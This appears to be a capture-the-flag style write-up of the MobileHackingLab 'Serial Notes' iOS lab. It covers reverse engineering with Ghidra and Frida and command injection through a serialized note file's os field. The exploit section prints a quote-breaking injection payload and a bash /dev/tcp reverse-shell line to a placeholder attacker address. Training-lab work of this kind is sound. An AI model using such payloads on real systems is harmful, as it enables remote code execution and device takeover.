Introduction
Serial Notes is an iOS lab from MobileHackingLab where you exploit a deserialization vulnerability in a note-taking app to achieve code injection on a device.
Methodology
- Explore the application
- Review saved note file
- Review source code
- Dynamic analysis
- Create exploit
- Exploitation
- Final thoughts
Explore the application
Editor screen




The main editor window is where you type in your markdown code. At the top there are shortcuts to delete a note or preview the markdown. You are also able to update the title of the note at the top.
Side menu

The hamburger menu on the left of the screen opens up a sliding menu that contains your notes as well as shortcuts to load, save, and create new notes.
Save notes



The Save button launches a context menu where you can select a location to save your note. Tapping save writes the file to disk and then returns to the app and displays a success dialog.
Load notes


The load button launches a context menu where you can browse and select a note file to load. Once you have selected the file the contents are loaded into the editor and the app displays a success dialog.
Review saved note file
Since the objective of this lab is to exploit a serialization vulnerability it is probably a good idea to see what the exported file looks like.
The exported file is in an Apple binary property list file which we can print out using plistutil to view the file in a human-readable format:
plistutil -p notes.serial
{
"$version": 100000,
"$archiver": "NSKeyedArchiver",
"$top": {
"root": CF$UID:1
},
"$objects": [
"$null",
{
"NS.objects": [
CF$UID:2
],
"$class": CF$UID:8
},
{
"last_updated": CF$UID:5,
"content": CF$UID:4,
"os": CF$UID:6,
"name": CF$UID:3,
"$class": CF$UID:7
},
"Test Title",
"# This is a test heading\n\nThis is a test message",
"Wed, 23 Jul 2025 19:30:24 GMT",
"YOUR_DEVICE_IDENTIFIER",
{
"$classname": "SerialNotes.Note",
"$classes": [
"SerialNotes.Note",
"NSObject"
]
},
{
"$classname": "NSArray",
"$classes": [
"NSArray",
"NSObject"
]
}
]
}
Review source code
Using Ghidra, we can look at the source code to see if there is anything interesting that can help us identify the vulnerability.
We know it is a deserialization vulnerability, which is usually associated with loading a file and unpacking the contents in a certain way.
If we can identify the code that loads our exported notes file we might be able to find some clues.
packFile


In both the packFile and openFile functions we see that it calls _executeCommand
, which is a familiar function if you have done some of the other labs from MobileHackingLab.
By going through the function manually and asking for some LLM assistance it would appear that the os
field in the serialized note gets populated by the result of the command uname -a
.
pcVar7 = "uname -a";
_executeCommand("uname -a");
_objc_retainAutoreleasedReturnValue();
if (pcVar7 == (char *)0x0) {
/* WARNING: Does not return */
pcVar3 = (code *)SoftwareBreakpoint(1,0x100006efc);
(*pcVar3)();
}
SVar27 = (extension_Foundation)::Swift::String::$_unconditionallyBridgeFromObjectiveC();
...
*(String *)(pNVar9 + _TtC11SerialNotes4Note::os) = SVar27;
Here is a break down of the important parts:
- The system command is executed
_executeCommand("uname -a");
- The resulting value is assigned to a variable
SVar27 = (extension_Foundation)::Swift::String::$_unconditionallyBridgeFromObjectiveC();
- The variable value is assigned to the note object
os
field
*(String *)(pNVar9 + _TtC11SerialNotes4Note::os) = SVar27;
Now that we know how the os
field is populated when the notes are saved it is time to see what happens when a note file is loaded.
openFile


The openFile function is more difficult to understand since it uses string concatenation to build up a command string.
What we know for a fact is that it also executes the _executeCommand
function, but it is not obvious what exactly the command is that it builds up to execute.
In the next section we will use dynamic analysis to understand the code a bit better and see what it builds up and sends into the function.
Dynamic analysis
If you are not too familiar with the decompiled code, like me, you can take a shortcut by hooking the _executeCommand
function with Frida and observing the command that is run when you open a note file.
I found a really handy Ghidra plugin, ghidra-frida-hook-gen, that you can use to generate Frida hooks for you.
Sometimes it’s difficult to track down exactly where in the symbol tree a certain function is, and even if you find it it is still quite tricky to figure out how to hook it with Frida.
This Ghidra plugin uses the base memory address of a module and then performs an offset calculation to find the start of the function you want to hook.


We need to modify the generated snippet a little bit to suit our use case, but luckily not too much:
var commandOffset = 0x414c;
var executeCommand =
Process.getModuleByName("SerialNotes").base.add(commandOffset);
Interceptor.attach(executeCommand, {
onEnter: function (args) {
console.log("Entered executeCommand");
const a = new NativePointer(args[0]);
console.log(a.readCString());
},
onLeave: function (retval) {
// We don't need this
},
});
Now we can run Frida using this script:
frida -U -f "com.mobilehackinglab.SerialNotes2" -l hook-execute.js
Spawned `com.mobilehackinglab.SerialNotes2`. Resuming main thread!
[iPhone::com.mobilehackinglab.SerialNotes2 ]->
And then we load a notes file and observe what the Frida console prints out:
[iPhone::com.mobilehackinglab.SerialNotes2 ]-> Entered executeCommand
uname -a | grep -o 'YOUR_DEVICE_IDENTIFIER' | head -n1
Great, now we can see exactly what the command was that the openFile function built using String concatenation!
A quick break-down:
-
uname -a
- This returns device information; e.g. on OSX you would get something likeDarwin <HOSTNAME> 24.5.0 Darwin Kernel Version 24.5.0:
-
grep -o 'YOUR_DEVICE_IDENTIFIER'
matches on the value specified and returns that; if nothing matches it will return an empty value. -
head -n1
returns the first line and limits the output to one line.
We can simulate what it does by either running it in a shell ourselves or just by replacing the uname command with a string echo e.g.
echo "OSX 15.6" | grep -o 'OSX 15.5' | head -n1
# Empty result
echo "OSX 15" | grep -o 'OSX 15.6' | head -n1
# Empty result
echo "OSX 15.6" | grep -o 'OSX 15' | head -n1
# OSX 15
At this point I am still a bit confused as to what the purpose of this command is and why it is used in the application.
It runs the uname -a
command and then matches the output to the os
field value that is part of the note. If the os
field value is found in the output of uname it will retain that value in the os
field; otherwise, it will clear it.
Either way, the important part is that we should be able to inject code into this command, which will allow us to execute code when we open a notes file.
Create exploit
Let’s take a look at the command without the os
field value injected into it:
uname -a | grep -o '' | head -n1
For our payload, we will need to do the following:
- Break out of the single quotes
- Add our own command to execute
- Comment out the rest of the old command
I have created this example shell script to help me test out payloads:
PAYLOAD="'; echo 1234; #"
COMMAND="uname -a | grep -o '$PAYLOAD' | head -n1"
echo $COMMAND
/bin/sh -c "$COMMAND"
Let’s break down the PAYLOAD variable:
- The single quote
'
breaks out of the original command - The
;
stops the previous command and allows us to execute a new one echo 1234;
is our example command to execute- The
#
comments out the rest of the original command
If we run this helper script:
./test.sh
uname -a | grep -o ''; echo 1234; #' | head -n1
1234
According to our script, it works, but let’s try it out in the app itself.
We are going to add a reverse shell command:
'; bash -i >& /dev/tcp/YOUR_IP_ADDRESS/YOUR_PORT 0>&1; #
And since it contains special characters we need to escape it; otherwise it might break the XML format of the notes file.
We can use CDATA tags to escape all the special characters in our string, or manually replace the special characters using their XML entity equivalents.
<![CDATA['; bash -i >& /dev/tcp/YOUR_IP_ADDRESS/YOUR_PORT 0>&1; #]]>
I find the easiest way to do this is to convert the notes file from binary to XML, make the change using a tool like Xcode, and then convert it back to binary.
plutil -convert xml1 notes.serial
plutil -lint notes.serial
notes.serial: OK
Open it up using XCode and add the payload:

Then convert it back to binary1 format:
plutil -convert binary1 notes.serial
plutil -lint notes.serial
notes.serial: OK
Cool, our malicious notes file is ready to be opened on our device.
Exploitation
-
Start a netcat listener on your machine:
-
Upload the notes file to your device
-
Open the notes file using the app
-
Observe the reverse shell

Final thoughts
When I initially started with this lab I thought it was going to be an easy code injection lab.
As I progressed, I found out that it was not as easy as I thought it would be. Around each corner were new challenges to solve, and after putting all the pieces together we achieved success.
All in all a fun lab that provided some new insights and also allowed me to learn about some new plugins for my existing tools.